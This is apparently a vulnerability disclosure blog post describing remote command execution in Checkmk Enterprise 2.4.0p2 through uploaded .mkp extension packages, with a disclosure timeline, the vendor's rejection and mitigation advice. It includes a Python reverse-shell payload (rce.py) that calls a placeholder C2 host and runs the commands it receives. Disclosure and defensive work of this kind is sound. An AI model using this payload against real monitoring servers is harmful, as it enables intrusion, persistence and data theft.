RCE via MKP Packages in Checkmk – Remote Command Execution through the Web Interface

Abstract

In this research conducted by me and Lucas Katashi, we identified two critical vulnerabilities in Checkmk Enterprise Edition 2.4.0p2 that allow Remote Command Execution (RCE) via the .mkp extension package feature. Exploitation only requires administrative access to the Checkmk web interface and results in automatic execution of Python code when visiting any page that loads the affected plugin directories.

Even after contacting the vendor, the vulnerability was denied, despite clear evidence that the autoload behavior without validation poses a real security risk. As a matter of transparency and responsibility to the community, we are publishing this post in alignment with responsible disclosure principles.

The Vulnerability

Both flaws stem from the lack of validation in the automatic loading process of .mkp extensions uploaded via the graphical interface. When a package containing Python scripts inside the web/plugins/views/ or web/plugins/pages, directories are activated, Checkmk automatically executes the code without any review step, sandboxing, or confirmation.

This logic creates a critical attack surface, allowing any authenticated admin to trigger malicious payloads easily.

Impact

It’s important to highlight that, in corporate environments, the risk posed by this flaw is not limited to an isolated attack scenario. In many cases, administrative access is gained through exposed credentials found in internal repositories, misconfigured backups, or automation tools. In a realistic threat chain, an attacker could combine credential exposure with the RCE vulnerabilities we uncovered to fully compromise the monitoring server, altering configurations, collecting sensitive metrics, and laterally escalating privileges across the organization’s infrastructure. The ease of exploitation and the breadth of potential impact make this vector particularly dangerous for enterprises relying on Checkmk in production.

Resulting in:

• Remote command execution with the same privileges as the OMD site user
• Potential for persistent access in the system
• Lateral movement within the infrastructure
• Exfiltration of sensitive data and internal pivoting

To better understand the potential impact of this vulnerability, we conducted a quick Fofa search for Checkmk instances exposed on the internet. As shown in the image below, more than 30,000 results were found, with over 28,000 unique IP addresses responding, many of which were hosted in enterprise environments across Germany, the United Kingdom, France, and the United States.

This large attack surface reinforces the severity of the issue: even a single compromised admin account could be leveraged to achieve remote command execution across thousands of systems, especially when access to the extension interface is not strictly controlled.

This flaw directly undermines trust in Checkmk’s internal supply chain. Allowing any active package to run arbitrary Python code without validation compromises the integrity of the entire monitoring environment, particularly for organizations that use third-party extensions or shared scripts.

Technical Details

Both vulnerabilities target the same core feature in Checkmk: the .mkp extension autoload mechanism. However, they leverage different paths, one via the web/plugins/views/ folder and the other via web/plugins/pages/. This distinction highlights that the issue is not limited to a specific directory but lies in the underlying behavior of the application that loads and executes arbitrary Python code from extensions without validating its origin or content.

First Vulnerability – RCE via web/plugins/views/

In this first vulnerability, we chose to use the native mkp package functionality directly on the server to generate the .mkp package. In the second vulnerability, however, we opted for an alternative approach using the tar tool to demonstrate that malicious extensions can be crafted in different ways, even in scenarios where the official Checkmk utility is unavailable. This decision was intentional, aiming to cover diverse use cases and offer practical options for analysis, reproduction, or mitigation by our readers.

1. Creating the MKP structure

2. Malicious payload (hakai_exec_on_load.py)

3. Manifest File:

4. Packaging and upload:

The .mkp package was then uploaded via the web interface at:
Setup > Maintenance > Extension Packages > Upload Package.

After clicking “Enable this package” the reverse shell was triggered automatically.

Segunda Vulnerabilidade – RCE via web/plugins/pages/

1. Structure of the Malicious (.mkp) Package

.
├── info
├── info.json
└── plugins
    └── pages
        └── rce.py

2. Python Payload Code with Reverse Shell (rce.py)

import socket, subprocess, threading

def shell():
    try:
        s = socket.socket()
        s.connect(("C2-SERVER-IP", 1337))
        while True:
            cmd = s.recv(1024).decode()
            if not cmd: break
            result = subprocess.getoutput(cmd)
            s.send((result + "n").encode())
    except: pass

threading.Thread(target=shell, daemon=True).start()

3. Package Metadata – Contents of the (info) File

4. Package Manifest File – (info.json)

5. File Used to Trigger Code Execution (rce.py)

6. Creating web.tar and rce_exploit-1.0.0.mkp Files

7. Uploading the Malicious Package We Generated

8. Activating the Package

9. After activating the extension via the GUI, simply reloading any page in the system was enough to trigger the reverse shell.

Disclosure Timeline

• 20/04/2025 – Vulnerability discovered by Hakai Security

• 26/04/2025 – Report submitted to the Checkmk team (via official channel)

• 20/05/2025 – Vendor replies, stating it is not considered a security issue

• 02/07/2025 – Official public disclosure on Hakai’s blog under responsible disclosure

As part of the disclosure process, we received an official response from the vendor stating that, despite the demonstrated risks, the identified behavior was not considered a security issue. Below is an excerpt from the communication we received:

Note: During this process, we provided working proof-of-concept code and detailed technical analysis for reproduction. The vendor’s decision to dismiss the issue was final.

---

Similar Case in Other Solution

A closely related case can be observed in CVE-2024-22116, which affects Zabbix. In that vulnerability, the system allowed remote command execution via a legitimate feature called “ping script parameters,” without proper input validation. Much like our discovery in Checkmk, the vendor initially described the behavior as “expected,” despite the critical risk of arbitrary code execution within the monitoring environment.

This type of flaw highlights a recurring pattern: allowing code provided by administrators, even through “official” or documented channels , to be executed automatically, without sandboxing, review, or minimum validation, introduces a highly sensitive attack surface.

The proof-of-concept attacks presented in this article demonstrate, in practical terms, how this implicit trust model can be abused to achieve RCE with ease, especially in enterprise environments where the use of custom extensions, plugins, or scripts is widespread.

This scenario reinforces the urgent need for stronger code validation mechanisms, isolation policies, and approval workflows before activating any .mkp extension via the administrative interface.

Recommendations

Since the vendor considered this behavior to be “expected” and no patch has been released, system administrators using Checkmk should adopt temporary mitigations, especially in enterprise environments.

Here are some practical recommendations that can help:

• Avoid installing .mkp packages without prior review.
  Before activating any extension, extract the contents and manually inspect for Python scripts in web/plugins/views/ or web/plugins/pages/. These were the exact vectors used in our tests.
• Restrict access to the extension interface.
  If possible, limit access to Setup > Maintenance > Extension Packages to highly trusted administrators. If your company uses a reverse proxy, consider blocking this GUI route or enforcing additional authentication just for this functionality.
• Deploy network rules to detect/block suspicious outbound connections.
  Most RCE payloads, such as reverse shells, rely on outbound traffic. Create firewall rules to block Checkmk from initiating connections to external IPs on uncommon ports, this can help contain successful exploits.
• Audit administrative permissions.
  This may sound obvious, but it’s often overlooked to review who truly needs admin access to Checkmk. Reducing the privileged user base shrinks the attack surface significantly.

These actions are not a replacement for a proper fix, but in real-world scenarios, especially where multiple admins are involved or instances are exposed, they can make a crucial difference.

Conclusion

Despite the vendor’s refusal to acknowledge the issue, we believe responsible disclosure is essential for the evolution of corporate software security. This publication aims to alert the technical community to design flaws in .mkp extension handling and to reinforce the importance of proper validation mechanisms in monitoring platforms.

We thank everyone who supports independent research and the continued advancement of information security.